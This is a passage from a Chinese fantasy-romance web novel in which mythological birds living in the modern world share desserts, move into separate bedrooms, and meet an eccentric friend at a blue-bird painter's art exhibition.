一口下去,奶香四溢。 “感觉应该多加点牛奶。”陆压评价。 现在这个味道有点甜了。 “我去拿我去拿!”孔宣立刻积极响应,碗里的桃胶羹都要见底了,他一下蹦起来,吨吨吨地吞干净碗里剩下的桃胶羹,美滋滋地往厨房走。 什么目的一看就知。 陆压的视线跟着他欢快的身影走,歪过脑袋看他蹦蹦跳跳地跑进厨房,直直地朝着炖锅,被锅里的热气偷袭,顿时气呼呼地鼓起腮帮子,又很快被美味的桃胶羹哄好了。 无忧无虑,喜不自胜。 旁边的穆怜青搅弄着勺子,低声开口:“陆组长,你喜欢他吧?” 第32章 第32章桃胶炖玉膏3 “你喜…… “你喜欢他?” 穆怜青声音轻轻的, 脸上的笑容也轻轻的,像是一阵淡淡的春风,温温和和地拂面而过,又带着冬天将将散去的清寒。 他低叹一声, 喃喃低语:“可惜了, 殉情并非是古老的传言, 孔宣也不似普通孔雀长有一颗多情的心,他随他的母亲, 凤凰一族终生只会有一个伴侣。” “尽管他从未宣扬言明,但我们其实早已知晓, 他有过一个伴侣。” 穆怜青将手中的碗碟放开,他后仰靠在墙上,双手自然放松扣在膝盖,就这么静静地对着陆压露出浅笑。 他的眼睛清澈剔透,几乎看透了凡人密密匝匝的心思。 青鸟以信寄情, 他是传信的青鸟,将未曾表露的情思传递, 也亲眼见证过无数有情人恨海情天。 他将情愫点破, 清浅的眉眼如神佛慈悲,分明将一切看透, 也将一切打破。 无论陆压之后会成为何种存在, 至少现在,他也不过是肉体凡胎。 喜欢上一个年长者是很不幸的事, 在过于年轻的岁月里遇见过于鲜明璀璨的人,以后无尽的余生又该如何度过? 陆压脸上的冷淡依旧未变,或许没有什么事会让他动容,他眸色冰冷、不动声色。 极轻极轻地问:“那个人呢?” “……或许死了吧。”穆怜青思索片刻, 给予了不太肯定的回答,但未曾确定的话语便是事实。 不必问是什么时候死的,陆压与穆怜青早已心知肚明。 陆压将空碗收走,礼貌地朝穆怜青点了点头,在进入厨房之前,他嗓音平淡,逆光的阴影将他脸上的情绪模糊一片,他没有回头,只是淡淡地说: “没必要跟我说这些,我并没有这个意思。” “……” 穆怜青没有说话。 他安静地坐在屋檐下,无声地凝视着眼前的桃树。 古人传情,以桃花比作女子以此定情。 可桃花早已凋谢,和这份喜欢一样早有结果。 不合时宜。 “唔?这就吃完了?” 孔宣刚拿起牛奶,一转头就看到陆压端着空碗回来,他诧异挑眉,碰了碰陆压手里的碗。 两只碗撞在一起发出清脆的响声,孔宣凑到陆压面前,狡黠的神情灵动活泼:“那剩下的全归我了?” 陆压盯着近在咫尺的脸庞,或许是穆怜青的话,他的眼神刻意避开了那双亮闪闪的眼睛,轻轻“嗯”了一声。 “都给你吃,我想穆先生也没有意见。” 被人叫到,穆怜青举了举手中的空碗,很可怜的拖长声音:“不要啊——” “我也还想吃。” 好吃,爱吃,多吃。 穆怜青和孔宣把剩下的桃胶玉膏羹给分了,他们坐在屋檐下,一人一碗加了更多的牛奶,美美用勺子送进嘴里,齐齐露出幸福的表情。 “这手艺,绝了。”穆怜青简直要被这完美的手艺倾倒,不枉他来这一次。 他比划出一个大拇指,一边吃一边笑盈盈地问:“有没有考虑承包宴席?我最近在来广有个展会,可以选定你们负责饮食哦~” “具体嘛~就负责一点吃喝,糕点和果茶什么的。” 穆怜青笑眯眯的,完全跳过了陆压,直接跟孔宣说。 孔宣散漫地舀着桃胶玉膏羹,一边搅弄一边漫不经心说:“听起来就很麻烦。” 他对此不太感兴趣,这种宴会上的吃吃喝喝也就摆着好看。 更重要的是。 孔宣的眼神往里瞥了一眼:“而且这件事你得问陆压,他可是老板,我就是一个小打工的。” 他口口声声说是打工的,态度比陆压一个老板还要理直气壮,陆压在厨房洗锅他坐在外边美美吃东西。 当然也没有人说他什么。 陆压擦擦手走过来,看了穆怜青一眼,很诚恳地说:“还是算了吧大王。” 他对承包宴会不感兴趣。 二比一,孔宣顿时精神起来,神采飞扬地对着穆怜青使眼色,得意的小表情十分灵动。 穆怜青“唔”了一声:“好吧,不过你们有空可以来看看,包小点心的哦。” 他从口袋掏出两张票,展示般拿到身前,朝孔宣眨了眨眼。 门票的设计是穆怜青亲自拍版的,采用青绿两种色调,看起来是山水画展,画面上用大大的古文字表述“信”。 信有很多种表述,但主办的人是青鸾,自然只会有一种意义。 “一定要来哦!”穆怜青重重地点了点门票。 递出去时脸上可怜巴巴的表情,简直可以称得上哀求。 就算是准备走了,临出门了,还忍不住回头难舍难分地叮嘱:“一定要来啊!” 孔宣:? “几张画这么在意。”还一定要来。 孔宣不以为然,随手将门票压在柜台上,路过陆压时,他歪过脑袋,眼睛转动着精准捕捉到对方。 陆压话少,有别人在的时候更少,安静地当自己的背景板,似乎这样能让他感到安宁。 他风雨不动,以至于令人摸不清情绪。 可孔宣歪过头,眼睛认真地盯着他:“你不高兴?” 陆压坐在柜台后面写菜谱的动作一顿,继续将今天做的桃胶玉膏羹的菜谱写下,不动声色地问:“何以见得?” 孔宣哼笑两声,彻底歪靠在柜台上,刻意朝陆压亲近了几分。 他挑起眉,语气笃定:“很明显啊。” “你和穆怜青说了什么不开心?” 思来想去,孔宣只能想到自己走开的那一小会儿,也不知道这两人说了什么,一下子就不高兴了。 “你可太难伺候了,陆鸦鸦。”孔宣抚弄过头发,捻起发尾搔弄过陆压的下巴,他嗤笑一声,眉眼带笑地逗弄人。 “快跟我说说,那只青鸾怎么招惹你了。” 陆压头也不抬:“要真因为他,大王怎么办?” 还能把他打一顿吗? 陆压心里好笑,觉得自己这个想法真是过于不像自己,于是他默不作声,只是随手在菜谱上写下有关密山玉膏的备注。 他写得认真,冷不丁的,一只手把他的下巴掰了起来。 孔宣离他很近,手臂撑在柜台上支撑着靠近,陆压的眼睛一下子被他捕获。 被近在咫尺的呼吸、越发鲜明的眉眼…… 陆压的眼睛不受控制地被孔宣捕获。 他在看着孔宣,孔宣也在看着他。 两个人呼吸近在咫尺,滚烫地交融在一起化成一片潮湿,分明还有一段距离,却早已是亲密无间。 孔宣掰过他的下巴,让脸对着脸,眼睛看着彼此。 他的语气似乎缓和了一点,没有平常那么肆意霸道,添上的一点柔软带着笑意。 孔宣说:“你要想,也不是不可以。” “只要他真的惹了你,我现在就帮你找场子。” 他笑得开怀玩味,分明他刚刚还在和穆怜青勾肩搭背,这会儿又能坦然地跟陆压说出这样完全维护的话。 陆压呼吸一窒,无意识地将手下的纸张揉皱。 “不关他的事。”陆压低低说道。 确实不关穆怜青什么事。 陆压大概明白穆怜青是什么心思,他此刻面对孔宣,心情十分复杂,看着孔宣毫无自觉的表情,隐约有种和穆怜青同病相怜的感觉。 “没事了大王,玩去吧。” 陆压轻轻将下巴别开,一脸淡定地将孔宣打发。 孔宣疑惑地上下看他:? “我怎么感觉你在糊弄我?”孔雀大王眼睛一眯,觉得事情并不简单。 他双手交叉,一脸严肃地托着下巴,认认真真地盯着陆压,试图从他脸上找寻出蛛丝马迹。 然而陆压表情淡定至极,粗糙的手指将揉皱的书页抚平,自顾自地又写了起来。 “电脑在楼上,大王自己玩去吧。” 孔宣气鼓鼓地走了。 被敷衍了,孔宣气得不行,故意在陆压旁边按电视机,用遥控器疯狂换台,把遥控器按得咔咔响。 陆压头也不抬,自顾自地写着什么东西。 可把孔宣气坏了,掏出手机找到青鸾的窗口,直奔主题。 :你今天和陆压说了什么? :说话!我知道你在线! :/怒 …… [青鸾]:啊……你怎么知道,他跟你告状? 孔宣看见这一行字,顿时眉飞色舞,心中得意地哼哼两声。 他不让陆压被人误会,飞速地打下一行字解释。 :没有,我看出来的。 [青鸾]:…… [青鸾]:[正在输入中……] [青鸾]:[正在输入中……] :赶紧告诉我! [青鸾]:……你怎么看出来的? 这一行字落入视线,孔宣扬眉,心说这还要关心?一眼不就看出来了! 他不免为自己敏锐的观测力而感到得意,作为读陆压表情第一人,孔宣洋洋得意。 并不打算把这个独门绝技告诉别人,孔宣假装没看到这句话,直接逼问重点。 :少说废话,说了什么,告诉我。 手机那头的穆怜青盯着这个聊天记录看了半天,终于忍不住叹了口气。 他性格温和,之前说那些话已经是很超过了,现在被当事人逼问,顿时觉得惭愧又失落,同时,他也敏锐地发现了孔宣对陆压的不同。 穆怜青失神一瞬,不得不承认自己有点忘形了,只是还是有点不甘心。 [青鸾]:我告诉他一些你之前的事。 [青鸾]:孔宣,你就这么在乎他吗? …… 在乎到,一贯不将任何人看在眼里的你,一眼就能看出他的情绪。 第33章 第33章海鲜闷鯈鱼 [青鸾]:孔宣,…… [青鸾]:孔宣, 你就这么在乎他吗? 跳动的字符落入眼中,孔宣把身子往后一靠,倚在靠背上漫不经心地撑起下巴。 陆压问他:”看什么?” 孔宣眉眼微弯,锐利斜飞的长眉微微牵动, 朝陆压露出一个玩味认真的表情。 “看你怎么了?” 逗弄完陆压, 他才欢欢喜喜地转回视线, 把重点放在手里屏幕上。 孔宣歪过脑袋,侧脸轮廓流畅好看, 能隐约看见他眼睫垂下时渗出的几点微光,点缀在眼下, 似是星星点点的笑意。 面对穆怜青的回答,他只是手指轻点,随意回答了一句。 :毕竟他可是我老板啊。 是老板,未必不是其他关系。 穆怜青看着这句话,无声叹气, 脸上露出实在难以预料的表情。 真是…… 方方面面都输了呢。 [青鸾]:好吧,代我向他道歉……不, 展会上我会亲自向他道歉。 [青鸾]:至于我们交流了什么, 还是你亲自问他吧。 :喂! …… 没有从穆怜青这里得到消息,孔宣愤怒扣屏, 指甲重重翘在屏幕上, 最终愤愤不悦,腮帮子鼓起一边, 郁闷极了。 他抬起头,视线跟着陆压来回转。 陆压把菜谱写完,顺手把小本子塞进抽屉里,空荡荡的小店只有他们两人, 电视机在氛围外发出字正腔圆的新闻播报。 陆压漫不经心:“大王上楼吗?” 孔宣跟着人转进楼梯,他歪过脑袋,视线不住在陆压身上打量。 陆压实在不动声色,面上情绪不辩晴雨,冷峻淡漠到了极点,唯独看向孔宣时眼中似乎带着暗火。 他嗓音低沉,脚步不疾不徐地往楼梯上走了两步,回过头看向矮他几头的孔宣。 “大王,你想睡怎么样的床?” 孔宣面露困惑:“你要换床了吗?” 陆压房间里的床不大不小,或许是独居宿舍习惯了,一开始也只置办了一张一米五乘两米的,两个人睡确实有点挤。 提到这个,孔宣来了兴趣:“你是该买张大床。” 说起来,他和陆压现在也睡一张床上。 之前是因为没有房间,后面也没有人主动提要去腾挪地方。 晚上两个人睡觉的时候,孔宣总感觉床挤,也就两个成年男人平躺着,要是再滚一滚就要撞到人了。 孔宣之前不提,现在有人主动提了,他可要挑剔了。 顿时罗列了一通不喜欢的木头,数落了一圈,他才挑剔地说:“要梧桐木的最好,檀木的也行……不许买那种便宜点外国货,一股子臭味。” “不过要去哪里买啊?现在买今天能到吗?你们人用梧桐木的床吗?” 孔宣叽叽喳喳地说着,俨然十分高兴,连发丝都变得轻盈起来。 落后陆压的脚步蹭蹭蹭就跟了上去,轻快地一下子跳到陆压身边,他摇头晃脑,歪过脑袋,神采飞扬地看着陆压,眼睛眨巴眨巴满是期待。 陆压思索了一下:“那这几天我先睡躺椅吧,梧桐木的床可能要运几天。” 孔宣:? 他歪过脑袋,露出一脸惊诧:“我们的床现在就不能睡了吗?” 不对啊! 他起床的时候怎么还好好的? 陆压深深地看了他一眼,也不解释,打开门准备把健身房收拾出来。 他往外搬健身器材的时候,孔宣就感觉不对了,他不可置信,眼睛在陆压和逐渐搬空的房间里来回转了转,顿时如遭雷劈。 居然要分房! 可恶,孔宣大王都没有嫌弃陆鸦鸦占位置! 他顿时恼怒,更觉得陆压不识好歹,想和孔雀大王睡觉的人能绕着地球转三圈。 过分!!! “分就分!” 孔雀大王大声嚷嚷,三两步窜进房间,气呼呼地一把摔上门,把陆压关在他的房间之外。 门槛似乎都跟着震三震,陆压还没反应过来,就见大门打开,气呼呼的孔雀大王瞪着圆滚滚的眼睛,凶巴巴地问他:“展会,去不去?” 陆压:“……去?” 门又在陆压面前摔上了。 陆压顿时:…… 孔宣把门摔上,气不过地叉着腰在房间里来回走了几圈,气得炸毛。 坏鸦! 孔宣眸中怒火明亮,一点怒意如星火直直攀上他的眉眼,他眉心皱起,气哼哼地骑在陆压的枕头上,一怒之下疯狂爆锤。 几个拳头把枕头揍得扁扁的,孔宣把头发往后一撩,这才觉得舒服多了。 他心情愉悦地舒了一口气,拍了拍胸脯,想象自己心平气和,心平气和。 他孔雀大王急什么,不能和孔雀大王睡一张床上是陆压吃亏,不是他吃亏。 不气不气,心平气和。 孔宣:!!! 还是好气,为什么啊! 孔宣怒火灼灼,对着枕头又开始了左勾拳右勾拳。 扁扁的枕头被他反方向打胖又揍扁,双眼明亮的青年眉梢染火,双手交叠托在下巴上兀自陷入思考,神情像是在思考什么堪比天崩地裂的大事。 孔宣思考许久,越想越觉得这件事觉得是穆怜青挑起来的。 他顿时气炸,一把拉开大门,怒气冲冲地逼问:“展会,去不去?” 鸦,孔雀大王要去揍鸟了! 他一定要调查清楚,这只该死的青鸟到底跟鸦在嘀嘀咕咕什么。 怀揣着这样的信念,孔宣对分房睡的关注完全消减,他在晚上拎出躺椅,连带着枕头一起丢出去。 陆压还没准备,就被赶出了门。 尽管这是他的打算,但是被这么无情对待,陆压还是难免失语。 “……” 他孤独地躺在躺椅上,枕着枕头,孤独寂寞冷地将小毯子盖在身上。 一时之间,风从阳台吹进来,月色清清冷冷地落在他的身上,似乎连夏风都忍不住为他感到寂寞。 只是陆压心里清楚,不好占寡夫便宜。 这样的寂寞陆压孤独地品尝了一晚,唯独孔宣神清气爽,在床上滚了个爽,第二天起来,精神焕发。 简直像是吸人精气的妖怪,他眉眼漂亮,肆意张扬的美不容遮掩,眼尾撩拨的弧度似蛊惑人心。 倚在柜台上看展会门票时,漂亮的青绿夹在他的手指之间,赛雪的皮肤与青绿辉映,越发显得绚丽秾烈。 孔宣找了参展时间,撩起眼睫,对后边煮早餐的陆压说:“明后天的票,明天去还是后天去?” 陆压将火关上,将煮好的面条捞进冷水中过一遍,他一边思考着煮什么臊子料,一边回忆明后两天的安排。 “明天不行,明天床到了得有人在家,后天去吧。”他说。 孔宣听到床要到了,飞速挑了下眉:“梧桐木的吗?不是梧桐木的我可不睡。” 他傲气十足,嘴角挑起傲娇矜贵的笑,理直气壮的语气似乎天生就值得无尽追捧。 陆压“嗯”了一声,语气无奈:“是是是,非梧桐不睡。” 也不知道是哪只漂亮孔雀,睡了这么久的普通木头也不挑。 想到自己那张一米五成两米的压缩板床,再看孔宣现在嚣张挑剔的矜贵模样,陆压忍不住失笑。 “大王,吃早餐了,给你的加倍辣。”他喊了一声,端着两碗面出来。 孔宣比划了个绝赞的手势,手机先吃,随后抽出筷子把料搅了搅,在氤氲雾气中慢慢卷着面吃了起来。 吃东西的时候,孔宣脸上飞扬的神采一下子安静下来,他腮帮子微鼓,肩膀与脖子挺得笔直,只是稍稍低头,用筷子将之送进嘴里,吃相相当优雅漂亮。 只是看着他吃东西时满脸幸福,就忍不住多吃几口。 陆压的视线在他脸上定了两秒,或许更多,才迟迟地低下头,任由面条泛起的雾气遮蔽在两人之间。 形如两个不同的世界。 陆压把健身房清出来后,顿时三楼就空了一个房间,等床和家具运进来布置上,一间采光不错的温馨房间就布置出来了。 从门口走进去,入眼就是铺了米色床垫的大床,床尾摆着衣柜书桌,还有一面玻璃门储物柜。 陆压把之前在厨房种的迷迭香盆栽摆在窗口,更添加几分温馨。 再一回头,孔宣抱着被子在床上滚了几圈,他伸着手臂伸了个懒腰,懒洋洋地斜过眼睛。 “感觉怎么样?”陆压问。 他觉得还不错,看了一圈比他那个单调简略的房间好多了。 孔宣哼哼唧唧:“也就那样吧。” 他拍了拍身边的位置,一脸傲气地朝陆压抬首,装模作样地压低嗓音,面露兴味:“东西是不缺了,就是缺个侍寝的……” “陆爱卿,你觉得呢?” 陆爱卿表示:“大王这个要求有点高。” 还是暂时别想了。 孔宣哼了一声,伸着胳膊腿在床上慵懒地滚来滚去,一边滚一边耍赖:“侍寝!要爱妃侍寝!朕的爱妃——” 陆压把两个枕头一左一右丢在孔宣身边,不动声色地说:“大王的爱妃。” 孔宣把枕头一抱,脸枕在枕头上仰躺着望着人,腮帮子鼓起一边,软乎乎地垫在枕头上,那双暗色的眼眸里泛着几分委屈与控诉,嘴巴一扁,更显无辜清纯。 他眨巴眨巴眼睛。 陆压难以抵御地移开目光,长睫颤动间才在阴影中泄露出些许隐晦眸光,只是表面依旧老实得像是根木头。 孔宣顿时哼声:“哼~” 没品的陆鸦鸦! 没品的陆鸦鸦痛失同居权,两个人就此分房而居。 梧桐木的床格外符合孔宣的要求,才搬到楼上,没一会他趴在枕头上睡了个天昏地暗,第二天醒来时,眼下水色流转,还是恋恋不舍的情态。 陆压不得不把人从床上薅起来,努力地与他打商量:“展会要迟到了。” “嗯……”孔宣撒娇般拖长声音,嘴巴抿成波浪型,抱着枕头难舍难分。 他把腿往被子上一搭,大有种有本事就把他端走的嚣张,耍赖一趴,呼呼就要睡个回笼觉。 陆压伸手扒拉他,他“啪”地打掉。 他呼吸清浅,露在外面的半张脸上泛着酣睡的红晕,早已睡得不知天地为何物。 什么展会?不去不去。 直到陆压说:“大王不是和穆先生约好了吗?” 穆怜青! 一听到这只青鸟的名字,双眼紧闭的孔宣猝然睁开眼睛,眼睛里哪有什么困意,只剩下一片澄澈的清明。 穆怜青! 孔宣又念了一遍这只青鸟的名字,利索地从床上滚了起来。 “好好好,走走走!” 孔宣双眼明亮,如一团火焰熊熊燃烧,敞开的衣领被他揉开,他一脚踢开被子,站在床上嚣张叉腰。 “去,谁不去谁是小狗!” 他站在床上,个子上比陆压高,陆压的视线不可避免地落在他敞开的领口上,视线往下一落又看到了光/裸的长腿。 陆压无声闭了闭眼,在孔宣斗志昂扬的活力中,默默转过头。 “……我去看看早餐。”他嗓音不知觉发哑。 孔宣从衣柜里拎着衣服裤子出来,探头看到他离开的背影,他也不讲究,门也不关直接套起裤子。 青年皮肤白皙,墨发披散,黑与白交错间呈现出一种极为怪诞的色彩,更加秾烈刺眼,隐约透出无尽的涩意,就那么直白地呈现在眼前。 无所遮挡,自由坦然。 唯独看见,也是一种无所抵赖的罪过。 陆压下了楼,仍然不可避免地想起孔宣露在外面的双腿、敞开的衣领,但更多的是他靠在枕头上耍赖的慵懒模样。 ……不可以觊觎寡夫。 他猝然失神一瞬,听到身后有人叫他,陆压猝然回头。 孔宣早已换好了衣服,穿着一身漂亮的休闲卫衣从楼梯上探出头,俏皮地将下巴垫在手臂上,趴在扶手上,从楼梯上探出头。 金色的阳光落在他的发丝上,身上米白的颜色十分柔软,润湿的眼睛就这样软乎乎地望着陆压。 “喂,陆鸦鸦,我要吃奶香馒头。” 孔宣朗声开口,肆意地提出要求。 还像是个无忧无虑的小少年,语调欢快又轻佻。 陆压举了举将手里的包子:“只有包子,大王吃吗?” 孔宣当即扬眉,陆压立刻说:“等下给你买。” “这还差不多。” 孔宣得意地扬起唇角,噔噔跑下楼梯,三两下蹦到了陆压身边。 陆压将包子用袋子一装,两个人给小店落了锁,在隔壁买了奶香馒头直接到公交站等车。 前往市中心的路上,名为“信”的画展广告打到了车站广告牌上,漂亮的青绿色彩肆意地涂抹在旗帜上张扬飞舞。 他们上车的时候车上人员稀少,下车这一瞬间,无数前来看展的人拥了过来,将他们裹挟进人群中,循着热闹往美术馆走。 “信”是山水艺术大师穆怜青打磨三年的得意之作,以往很多不再展出的画作都会在这一次展出。 是以人群讨论激烈,热热闹闹地讨论起穆先生的画作与其中的含义。 大多数都是年轻的艺校大学生。 孔宣排队检票的途中,忍不住用手肘怼了怼旁边的陆压,语气有种看见熟人展出的荒谬感:“穆怜青干了什么有这么多信徒?” 这不就是只送信的青鸟吗? “现在都叫粉丝,不叫信徒了,大王。”陆压纠正,他背过穆怜青的资料,随口说:“穆先生的画作笔法细腻,感染力强,在网上被称为年轻的天才画家,在互联网上很有名气。” “是吗?”孔宣若有所思地点点头,兀自琢磨起来。 思考的时候,他手臂一紧,被拉着往前走。 陆压将两张门票递给检票员,带着孔宣走过安检门,顺着人群走进画展。 入眼是一幅巨大的青色山水画。 穆怜青是以国画的绘画手法,结合现代的审美特征而出名。 他只是用寥寥几笔,就将山间山水与漫漫黄沙画出,以泛黄的底色作为黄沙,青绿作为高山,空白的部分则是江河,点缀上的月亮与星子的倒影与太阳背道而驰预示时间的流转。 而这幅画的重点却不是山水,而是一只青鸟。 穆怜青所有的画作里都有一只青鸟。 青鸟如此自由自在地在天空翱翔,它飞跃黄沙飞跃江河高山,飞跃时间的空隙,飞跃纸张的空白…… 它是从哪里来?它要去往何方? 这场画展昭示着他的思想。 顺着巨大的首幅画作往里面走,人们随着青鸟的脚步一步一步往前,走过时间的长河走过漫漫空间。 他们路过人生百态,路过长长的画卷,从数个遇见青鸟的人群中走过。 于是,他们来到了最后一幅画。 最后一副画什么都没有,那是一张信纸,空白的、没有开头与结尾的信纸。 “信”。 “他真的很自恋不是吗?”清越的话语点破了宁静。 在美术馆安静的人群中,一个推着轮椅的青年与孔宣一起站在空白的信纸面前。 青年自顾自地说着:“青鸟殷勤为探看……真是就算是改行了也念念不忘他的老本行,非要那么多人聚集起来,然后对他的过往发出赞叹才满意。” “我还以为有什么好看的,结果就是看他送信的英姿吗?真无聊不是吗?” 青年低下头,与身前轮椅上的人抱怨耳语。 陆压转过头,看到了旁边穿着病号服的两人,病号服上缝着“七号精神病院”的字眼,再低下头,轮椅上的人歪过头,过于消瘦的脸暴露在人前,近乎病态的消瘦仿佛轮椅上的人只剩下一副骨架,手背上密密麻麻的针眼再也遮掩不去。 托他们俩的福,最后一幅画前只剩下他们几个。 孔宣附和了青年的话,并且深以为然:“你说得对。” 他以为自己已经够自恋了,没想到这只青鸟更自恋。 内行看门道,外行看热闹,他们这种熟人看的就是真相。 孔宣眼睛转动,瞳仁清浅而不失绮落地将视线落在青年的身上,他语气熟稔,带着一些朋友间的埋怨。 “鲲鹏的席你怎么没来吃,九凤。” 被称为九凤的青年弯了弯唇角,语气天真:“因为我在住院。” “医生说我病情又加重了,需要住院治疗,好像是人格分裂还是什么来着,我病了,有点记不清了。” 他语气逐渐厮磨,像是摩挲在一起的石子,推着轮椅轻轻摇晃起来,并且兴奋地哼起了小调。 他一边摇晃轮椅,一边喜滋滋地跟孔宣介绍:“你看,这是我住院认识的朋友。医生叫我人格分裂1号,这是抑郁症6号,我喜欢6这个数字。” “你喜欢吗?好-朋-友。” 九凤弯下腰,和自己的朋友脸贴着脸,阴测测的嗓音拖长后用一种怪调的口吻一字一句地重申。 抑郁症6号了无生趣地动了动眼球,只是低下头盯着自己的手指,无声发起了呆。 “他也喜欢。”九凤抬头,弯起唇角露出一个抱歉的笑容:”他比较腼腆,不太喜欢和外人说话。” 孔宣冷静地问他:“治病感觉怎么样?” “我感觉我好极了,从来没有那么开心过,里面的人都是好人,个个都很有趣,说话又好听——” 九凤兴奋地话语一顿,苦恼地皱起眉:“哦,不过我是偷偷跑出来的,回去后要被医生骂了。” “小六,怎么办啊。” 抑郁症6号干脆把眼睛一闭。 两个人身上都有蹭出来的灰,轮椅上还凹下去一块,一看就是硬要翻墙出来的。 小的时候背着家长偷偷摸摸翻墙出来玩,长大了背着医生偷偷摸摸翻墙出来玩。 九凤哀哀叹息,悲痛自己偷偷摸摸的鸟生。 他自顾自地悲痛完,一转头突然发现身边还有两个人,迟疑地看向孔宣,又换了种语气疑问:“孔宣?我怎么会见到你?昨天新换的药还会产生幻觉吗?我觉得我应该幻想分裂出九个我才对。” 九凤迷茫过后,突然“哦”了一声:“哦,我想起来了,群里说你出来了,还开了个餐厅……打算帮我做道菜吗?” 他短短几句话变了几个语气。 孔宣看了他一眼,断然拒绝:“不接待傻子,谢谢。” 九凤:“给钱的,很多钱。” “你要吃什么?”孔宣有点无语,但他这么坚持,于是勉勉强强说:“太难的我可不干啊。” 身着病号服的青年笑意轻柔至极:“放心,不会很难的。” 第34章 第34章海鲜闷鯈鱼2 “孔宣…… “孔宣、陆先生……还有、九凤?” 两人的交谈被穆怜青的声音打断, 他从远处跑来,极速在人前停下,面对九凤脸上露出一言难尽的表情。 身为今天展会上的东道主,穆怜青穿着颇具艺术感的花边衬衫, 笔直的长裤材质优越剪裁干练, 似乎专门做了造型, 他软塌塌的头发抓出精巧的飘逸。 只是匆忙跑来,露出几分狼狈。 他与一身病号服的九凤对视, 九凤冷漠地低下头,兀自前后推动着小六的轮椅, 口中轻盈地哼着小调,小六面无表情地摆弄手指,对外界没有任何反应。 穆怜青一言难尽:“九凤,你怎么还穿着病号服?” 九凤猝然抬头看他,眼睛一眯露出些许警惕:“你什么意思?你是不是想害我?你想让我出院?” 满脸警惕的青年往后退了两步, 俊美的脸上满是怨愤与不解。 “我们不是朋友吗?医生都跟你说了我有病,必须住院治疗, 你为什么总想害我?我感觉我现在好极了!你看, 我现在可以和室友一起出来玩,对, 我有一个非常好的室友, 小六。” “小六小六小六——” 一提到小六,九凤立刻笑眯眯地低下头, 将脸与小六贴在一起,他眼睛一弯,俊美帅气的脸上露出十分满足的表情。 他身材并不瘦弱,身高腿长, 弯下腰时几乎将小六完全抱住。 满足、依赖、高兴…… 他不加节制地露出高兴的表情,小六暗淡的眼睛转了转,慢吞吞地点了点头。 小六将瘦弱的手贴在九凤的脸上,他的表情慢慢变化,变化出似有若无的浅笑,过于消瘦的脸上有着别样的神情。 九凤一把抱住小六,把脸埋进他的肩膀,深深地深吸一口气,像是在获取某种足以安心的能量。 两个人抱在一起,抱得难舍难分,几乎同生共死、生死缠绵。 加上他们身上的衣服,整个画面显得极其怪诞荒唐,飘逸着一种极致的视觉冲击。 穆怜青很无奈,小声和落后版本信息的孔宣解释:“你知道的,九凤的九个脑袋各有思想,人类管这个叫精神分裂……本来好好的,结果在精神病院越住越不正常。” 可能吃药吃傻了吧。 九凤原本还好好的,偶尔还能和自己九个脑袋说笑话演话剧自娱自乐,这么几千年了,也好好地没见发疯。 结果大劫结束他沉睡疗伤,醒来的时候来接人的神兽慢了一步,他先被人送进精神病院了。 精神病院一诊断,严重精神分裂。 给他收治一段时间后,九凤坚信自己有病,死活要治,谁劝他出院谁就要害他。 然后鸟也发疯了。 孔宣倒吸一口凉气,谨慎地退后一步:“那他现在会咬人吗?” 穆怜青:“……精神分裂不是狂犬病,不咬人的吧?” 而且你退后一步是什么意思? 两人的交谈没有影响九凤与小六的缠绵,在这个过程中,他逐渐激烈的情绪又慢慢平复下来。 他缓缓露出一张脸,从小六肩膀的间隙看向孔宣,阴鸷的影子落在他的眉眼,他语句缓慢,透着拿腔拿调的怪异,极轻极轻地发声。 “孔宣。” 孔宣看向九凤,明亮的展厅里,九凤脸上的神情变得和缓平静,他半蹲在轮椅边缘,亲昵地托起病友的手,将之贴在耳边。 他歪过脑袋,主动将脸蹭到对方掌心,极轻极轻地说:“我想要一只鯈鱼。” 出自芘湖里的鯈鱼拥有鸡一样的身体,长着红色的羽毛,三条尾巴、六只脚、四个头,是只非常奇怪的怪物。 它的叫声与喜鹊的鸣叫相似,吃起来味道与鸡、鱼都不太一样,吃了它的肉就能使人无忧无虑。 他需要一只可以使人无忧无虑的鯈鱼。 九凤望着眼前形容枯槁的小六,语调轻柔而温吞,像是变了个性情,轻轻柔柔地憧憬:“鯈鱼会是一方良药,让你开心的良药。” “不要害怕,很快就好了。” 九凤看向小六的目光极其古怪,像是在看知心爱人又像是在看一件满意的玩具,手轻轻落在他的头顶,温柔地抚摸。 从头顶摩挲到下颚,再轻轻地放到后脑,手掌顺着头发往下抚摸。 至少从他想要鯈鱼,和宁愿翻墙都要把小六带出来看展的作为来看,九凤十分在乎对方。 孔宣对此有点无语,他仰着头,脸上淡定的表情快要支撑不住了,在清凉的美术馆里风中凌乱:“你不考虑先治一治自己吗?” 好好好,自己病了也要先把对方治好。 你不先考虑一下自己是不是真的有病吗?真·精神病院遇见爱。 生来有九个脑袋,有九个人格有什么大惊小怪的。 孔宣从不破坏爱情,他比了个没问题的手势。 九凤:“你要三百万?一言为定。” “?”孔宣迟疑地看了看自己“OK”的手势。 一百万萧云鬓都要卖房了,九凤三百万直接一言为定? “九凤。”孔宣语气肆意,直接上去问:“你老实和我说,你是不是去抢金子了,这么有钱?” 九凤慢吞吞地说:“把之前攒的金子卖了就有了。” 他看了眼孔宣,“你不会没有吧?”的神情略带一丝嘲讽。 孔雀大王大怒。 想他当年什么金银珠宝没有! “我要涨价,我要五百万!” “好。” 三言两语间,一单五百万的大单就被孔宣谈下来了。 陆压叹为观止,视线在小六身上转了一圈,只是稍稍停留过多,九凤的视线立刻追了上来,阴测测地注视陆压。 陆压默默移开目光。 “陆先生。” 孔宣和九凤勾肩搭背聊五百万的时候,穆怜青小声开口:“我之前说的事……你不要当真。” “我向你道歉。” 穆怜青神情复杂,他原本是想劝退陆压,结果他才是被劝退的那个。 是他太过分,因为一己之私给孔宣和陆压造成了困扰。 几千年过去,穆怜青终于清楚地意识到,无论孔宣有几个伴侣,是否长情忠贞,他和孔宣的关系也只能停留在现在这一步。 穆怜青沉沉叹气,为自己当时丑恶的嘴脸而感到抱歉。 他第一次做这样的事,对此格外抱歉。 陆压顿了顿,淡淡开口:“不懂你在说什么,我不记得了。” 他的视线跟在孔宣身边,孔宣和九凤谈妥,正眉飞色舞地说笑。 注意到陆压的视线,孔宣转过头,眉眼一弯,朝陆压得意地晃了晃脑袋,张扬地朝他眨眼,无声比划着口型。 “孔雀大王的人脉,很惊喜吧?” 他眉梢飞扬,张扬肆意的神采折煞满堂春色,看得人心荡神摇。 九凤推着轮椅早早从“信”展离开,顺道一把把穆怜青拐走了。 穆怜青被一胳膊拐住的时候,还没想起有自己什么事,直到九凤让他把他们送回医院。 可怜的青鸾根本不想干这种把朋友往火坑里推的事,又不好多劝,只能可怜巴巴地拿着钥匙先把他们送走。 